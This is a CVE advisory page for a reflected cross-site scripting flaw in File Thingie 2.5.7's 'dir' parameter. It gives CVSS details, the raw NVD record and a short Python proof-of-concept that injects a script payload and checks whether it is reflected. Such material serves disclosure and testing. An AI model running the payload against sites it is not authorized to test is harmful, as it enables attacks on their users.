CVE-2026-30578

Description

File Thinghie 2.5.7 is vulnerable to Cross Site Scripting (XSS). A malicious user can leverage the "dir" parameter of the GET request to invoke arbitrary javascript code.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:leefish:file_thingie:2.5.7:*:*:*:*:*:*:* - VULNERABLE

File Thinghie 2.5.7

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# PoC for CVE-2026-30578: File Thinghie XSS Vulnerability
import requests

def check_xss(url):
    # Injecting a simple JavaScript payload into the 'dir' parameter
    payload = "?dir=<script>confirm('CVE-2026-30578_PoC')</script>"
    target = url + payload

    try:
        response = requests.get(target)
        # Check if the payload is reflected in the response without proper encoding
        if "confirm('CVE-2026-30578_PoC')" in response.text:
            return "[+] Vulnerable: XSS payload executed successfully."
        else:
            return "[-] Not Vulnerable: Payload not found or filtered."
    except Exception as e:
        return f"Error connecting to target: {e}"

# Usage
# print(check_xss("http://target-site.com/filethingie.php"))

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-30578
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-30578
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-30578/
[4] VulDB https://vuldb.com/cve/CVE-2026-30578
[5] https://github.com/SpeWnz/Vulnerability-Research/tree/main/CVE-2026-30578
[6] https://github.com/leefish/filethingie

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-30578", "sourceIdentifier": "[email protected]", "published": "2026-03-20T18:16:13.203", "lastModified": "2026-04-01T19:00:07.353", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "File Thinghie 2.5.7 is vulnerable to Cross Site Scripting (XSS). A malicious user can leverage the \"dir\" parameter of the GET request to invoke arbitrary javascript code."}, {"lang": "es", "value": "File Thinghie 2.5.7 es vulnerable a Cross Site Scripting (XSS). Un usuario malicioso puede aprovechar el parámetro 'dir' de la solicitud GET para invocar código javascript arbitrario."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:leefish:file_thingie:2.5.7:*:*:*:*:*:*:*", "matchCriteriaId": "AEFFC71B-7FE1-4570-AA17-5E9E300B8EA9"}]}]}], "references": [{"url": "https://github.com/SpeWnz/Vulnerability-Research/tree/main/CVE-2026-30578", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://github.com/leefish/filethingie", "source": "[email protected]", "tags": ["Product"]}]}}